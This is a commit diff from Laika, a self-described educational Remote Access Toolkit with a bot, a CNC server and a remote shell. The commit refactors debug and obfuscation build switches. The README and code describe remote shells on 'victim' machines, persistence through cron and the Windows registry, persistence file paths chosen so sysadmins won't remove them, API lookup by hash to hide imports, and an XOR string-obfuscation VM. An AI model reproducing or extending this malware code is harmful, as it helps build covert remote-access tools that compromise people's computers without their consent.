VMBoxGen: minor refactoring

- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h
- LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well

CMakeLists.txt

@@ -89,9 +89,9 @@ add_subdirectory(tools/vmboxgen)
 # compile laikalib, tools, cnc & bot
 add_subdirectory(lib)
 add_subdirectory(tools)
+add_subdirectory(bot)
 
 # these subprojects don't support windows (sorry)
-add_subdirectory(bot) # windows support Soon:tm:
 if(NOT WIN32 AND (UNIX AND NOT APPLE))
   add_subdirectory(cnc)
   add_subdirectory(shell)

README.md

@@ -12,15 +12,16 @@ Laika is a simple cross-platform Remote Access Toolkit stack for educational pur
 Some notable features thus far:
 - [X] Lightweight, the bot alone is 183kb (`MinSizeRel`) and uses very little resources minimizing Laika's footprint.
 - [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
-- [X] Server and Shell configuration through `.ini` files.
-- [X] Ability to open shells remotely on the victim's machine.
+- [X] CNC and Shell configuration through `.ini` files.
+- [X] Open shells remotely on the victim machine.
 - [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
     - [X] Persistence via Cron on Linux-based systems.
     - [X] Persistence via Windows Registry.
 - [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
 - [ ] Simple configuration using CMake:
-    - [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`, etc.)
-    - [ ] Obfuscation modes
+    - [X] Setting keypairs (`-DLAIKA_CNC_IP=? -DLAIKA_CNC_PORT=?`, etc.)
+    - [X] Enabling/Disabling Obfuscation (`-DLAIKA_OBFUSCATE=On`)
+        - [ ] Obfuscation modes
 
 ## How do I use this?
 

bot/CMakeLists.txt

@@ -30,9 +30,6 @@ if(LAIKA_OBFUSCATE)
     add_dependencies(LaikaBot VMBoxGen)
 endif ()
 
-# add the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
-
 # add include directory
 target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
 

bot/src/main.c

@@ -9,8 +9,12 @@
 
 #include <stdio.h>
 
+/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for 
+    retrying to connect to the CNC server */
+#define LAIKA_RETRY_CONNECT 5
+
 #ifdef _WIN32
-#    ifndef DEBUG
+#    ifndef LAIKA_DEBUG_BUILD
 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
 {
 #    else
@@ -54,9 +58,9 @@ int main()
         laikaB_freeBot(bot);
 #ifdef LAIKA_PERSISTENCE
 #    ifdef _WIN32
-        Sleep(5000);
+        Sleep(LAIKA_RETRY_CONNECT*1000);
 #    else
-        sleep(5);
+        sleep(LAIKA_RETRY_CONNECT);
 #    endif
     } while (1);
 

cnc/CMakeLists.txt

@@ -13,8 +13,5 @@ file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
 add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
 target_link_libraries(LaikaCNC PUBLIC LaikaLib)
 
-# add the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaCNC PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
-
 # add include directory
 target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR})

lib/CMakeLists.txt

@@ -24,8 +24,8 @@ target_link_libraries(LaikaLib PUBLIC sodium)
 # make sure we're compiled *AFTER* lboxconfig.h has been generated
 add_dependencies(LaikaLib VMBoxGen)
 
-# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
+# add the version definitions
+target_compile_definitions(LaikaLib PUBLIC)
 
 # add include directory
 target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)

lib/include/core/lbox.h

@@ -63,13 +63,15 @@ struct sLaikaB_box
 #    define LAIKA_BOX_SKID_END(ident)                   ((void)0) /* no-op */
 #endif
 
+/* clang-format off */
+
 /* ======================================[[ Laika Boxes ]]====================================== */
 
 /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
 #define LAIKA_BOX_SKID(_key)                                                                       \
     {                                                                                              \
         .unlockedData = {0}, /* reserved */                                                        \
-            .code = {        /* stack layout:                                                      \
+            .code = { /* stack layout:                                                             \
                            [0] - unlockedData (ptr)                                                \
                            [1] - data (ptr)                                                        \
                            [2] - key (uint8_t)                                                     \
@@ -83,7 +85,7 @@ struct sLaikaB_box
                       LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3),      /* write data to unlockedData */     \
                       LAIKA_MAKE_VM_IA(OP_INCPTR, 0),                                              \
                       LAIKA_MAKE_VM_IA(OP_INCPTR, 1),                                              \
-                      LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */    \
+                      LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17),  /* exit loop on null terminator */   \
                       OP_EXIT                                                                      \
             }                                                                                      \
     }
@@ -99,7 +101,7 @@ LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
             [LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
             [LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
         },
-        .code = {0}, /* zero initalized */
+        .code = {0},  /* zero initalized */
         .stack = {0}, /* zero initalized */
         .pc = 0
     };
@@ -116,6 +118,8 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
     sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
 }
 
+/* clang-format on */
+
 /* include KEY_* & DATA_* macros for each obfuscated string */
 #include "lboxconfig.h"
 

lib/include/core/lerror.h

@@ -24,10 +24,10 @@
 
 /* LAIKA_ERROR(printf args):
         if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
-    otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
+    otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else
     arguments are ignored.
 */
-#ifndef DEBUG
+#ifndef LAIKA_DEBUG_BUILD
 #    define LAIKA_ERROR(...)                                                                       \
         do {                                                                                       \
             if (LAIKA_ISPROTECTED)                                                                 \

lib/include/core/lsodium.h

@@ -1,6 +1,7 @@
 #ifndef LAIKA_RSA_H
 #define LAIKA_RSA_H
 
+#include "lconfig.h"
 #include "sodium.h"
 
 #include <stdbool.h>

lib/include/core/lvm.h

@@ -76,7 +76,7 @@ enum
     OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
 
     /* misc. */
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
     OP_DEBUG
 #endif
 };
@@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
 
             break;
         }
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
         case OP_DEBUG: {
             int i;
 

lib/include/laika.h

@@ -11,7 +11,7 @@
 #include <string.h>
 #include <inttypes.h>
 
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
 #    define LAIKA_DEBUG(...)                                                                       \
         printf("[~] " __VA_ARGS__);                                                                \
         fflush(stdout);

lib/include/lconfig.h.in

@@ -13,6 +13,7 @@
 #define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
 
 /* settings */
+#cmakedefine LAIKA_DEBUG_BUILD
 #cmakedefine LAIKA_PERSISTENCE
 #cmakedefine LAIKA_OBFUSCATE
 
@@ -20,8 +21,8 @@
 
 /* =====================================[[ Linux Strings ]]===================================== */
 
-/*      we want a semi-random file lock that is stable between similar builds,
-*   so we use the GIT_VERSION as our file lock :D */
+/* we want a semi-random file lock that is stable between similar builds,
+*  so we use the GIT_VERSION as our file lock :D */
 #define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
 
 /* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
@@ -32,8 +33,8 @@
 
 /* ====================================[[ Windows Strings ]]==================================== */
 
-/*      we want a semi-random mutex that is stable between similar builds,
-*   so we use the GIT_VERSION as our mutex :D */
+/* we want a semi-random mutex that is stable between similar builds,
+*  so we use the GIT_VERSION as our mutex :D */
 #define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
 
 /* looks official enough */

lib/include/lobf.h

@@ -7,6 +7,7 @@
 #    include <process.h>
 #    include <windows.h>
 
+#ifdef LAIKA_OBFUSCATE
 /* WINAPI types */
 typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
 typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
@@ -25,6 +26,19 @@ extern _RegOpenKeyExA oRegOpenKeyExA;
 extern _RegCloseKey oRegCloseKey;
 extern _RegSetValueExA oRegSetValueExA;
 extern _RegQueryValueExA oRegQueryValueExA;
+#else
+
+/* disabling obfuscation by macro magic :O */
+#define oShellExecuteA ShellExecuteA
+#define oCreatePseudoConsole CreatePseudoConsole
+#define oClosePseudoConsole ClosePseudoConsole
+#define oCreateProcessA CreateProcessA
+#define oRegOpenKeyExA RegOpenKeyExA
+#define oRegCloseKey RegCloseKey
+#define oRegSetValueExA RegSetValueExA
+#define oRegQueryValueExA RegQueryValueExA
+
+#endif
 #endif
 
 void laikaO_init();

lib/include/net/lpacket.h

@@ -1,6 +1,7 @@
 #ifndef LAIKA_PACKET_H
 #define LAIKA_PACKET_H
 
+#include "lconfig.h"
 #include <inttypes.h>
 
 #define LAIKA_MAGIC                 "LAI\x12"
@@ -121,7 +122,7 @@ enum
 typedef uint8_t LAIKAPKT_ID;
 typedef uint16_t LAIKAPKT_SIZE;
 
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
 const char *laikaD_getPacketName(LAIKAPKT_ID);
 #endif
 

lib/src/net/lpacket.c

@@ -1,6 +1,6 @@
 #include "net/lpacket.h"
 
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
 const char *laikaD_getPacketName(LAIKAPKT_ID id)
 {
     const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",

lib/win/winobf.c

@@ -137,6 +137,7 @@ _findByHashFail:
 
 /* ======================================[[ Exposed API ]]====================================== */
 
+#ifdef LAIKA_OBFUSCATE
 _ShellExecuteA oShellExecuteA;
 _CreatePseudoConsole oCreatePseudoConsole;
 _ClosePseudoConsole oClosePseudoConsole;
@@ -163,4 +164,10 @@ void laikaO_init()
     oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
     oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
     oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
-}
+}
+#else
+void laikaO_init()
+{
+    /* stubbed!! */
+}
+#endif

shell/CMakeLists.txt

@@ -13,8 +13,5 @@ file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
 add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
 target_link_libraries(LaikaShell PUBLIC LaikaLib)
 
-# add the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaShell PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
-
 # add include directory
 target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})

tools/genkey/CMakeLists.txt

@@ -9,6 +9,3 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
 file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 add_executable(genKey ${GENKEYSOURCE})
 target_link_libraries(genKey PUBLIC LaikaLib)
-
-# add the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(genKey PUBLIC "$<$<CONFIG:Debug>:DEBUG>")

tools/vmboxgen/CMakeLists.txt

@@ -10,9 +10,6 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 add_executable(VMBoxGen ${VMTESTSOURCE})
 target_link_libraries(VMBoxGen PUBLIC)
 
-# add the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
-
 # generate the VMBOXCONFIG file
 if(LAIKA_OBFUSCATE)
     add_custom_command(TARGET VMBoxGen POST_BUILD

tools/vmboxgen/src/main.c

@@ -13,11 +13,12 @@
     } while (0);
 #define RANDBYTE (rand() % UINT8_MAX)
 
-static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
-                              "*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
+static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
+                              "#ifndef LAIKA_VMBOX_CONFIG_H\n"
+                              "#define LAIKA_VMBOX_CONFIG_H\n\n";
 static const char *POSTAMBLE = "\n#endif\n";
 
-void writeArray(FILE *out, uint8_t *data, int sz)
+static void writeArray(FILE *out, uint8_t *data, int sz)
 {
     int i;
 
@@ -28,18 +29,18 @@ void writeArray(FILE *out, uint8_t *data, int sz)
     fprintf(out, "0x%02x};\n", data[sz - 1]);
 }
 
-void writeDefineArray(FILE *out, char *ident, uint8_t *data)
+static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
 {
     fprintf(out, "#define %s ", ident);
     writeArray(out, data, LAIKA_VM_CODESIZE);
 }
 
-void writeDefineVal(FILE *out, char *ident, int data)
+static void writeDefineVal(FILE *out, char *ident, int data)
 {
     fprintf(out, "#define %s 0x%02x\n", ident, data);
 }
 
-void addPadding(uint8_t *data, int start)
+static void addPadding(uint8_t *data, int start)
 {
     int i;
 
@@ -49,15 +50,15 @@ void addPadding(uint8_t *data, int start)
     }
 }
 
-void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
+static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
 {
     int i;
 
     for (i = 0; i < sz; i++)
         buff[i] = data[i] ^ key;
 
-    buff[i++] = key; /* add the null terminator */
-    addPadding(buff, i);
+    buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
+    addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
 }
 
 #define MAKESKIDDATA(macro)                                                                        \
@@ -69,14 +70,17 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
 int main(int argv, char **argc)
 {
     uint8_t tmpBuff[LAIKA_VM_CODESIZE];
-    int key;
     FILE *out;
+    char *fileName;
+    int key;
 
     if (argv < 2)
         ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
 
-    if ((out = fopen(argc[1], "w+")) == NULL)
-        ERR("Failed to open %s!\n", argc[1]);
+    /* open output file */
+    fileName = argc[1];
+    if ((out = fopen(fileName, "w+")) == NULL)
+        ERR("Failed to open %s!\n", fileName);
 
     srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
                           slow them down */
@@ -100,8 +104,8 @@ int main(int argv, char **argc)
     fprintf(out, POSTAMBLE);
     fclose(out);
 
-    printf("Wrote %s\n", argc[1]);
+    printf("Laika VMBox data header dumped to '%s'\n", fileName);
     return 0;
 }
 
-#undef MAKEDATA
+#undef MAKESKIDDATA

tools/vmtest/CMakeLists.txt

@@ -10,5 +10,3 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 add_executable(vmTest ${VMTESTSOURCE})
 target_link_libraries(vmTest PUBLIC LaikaLib)
 
-# add the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(vmTest PUBLIC "$<$<CONFIG:Debug>:DEBUG>")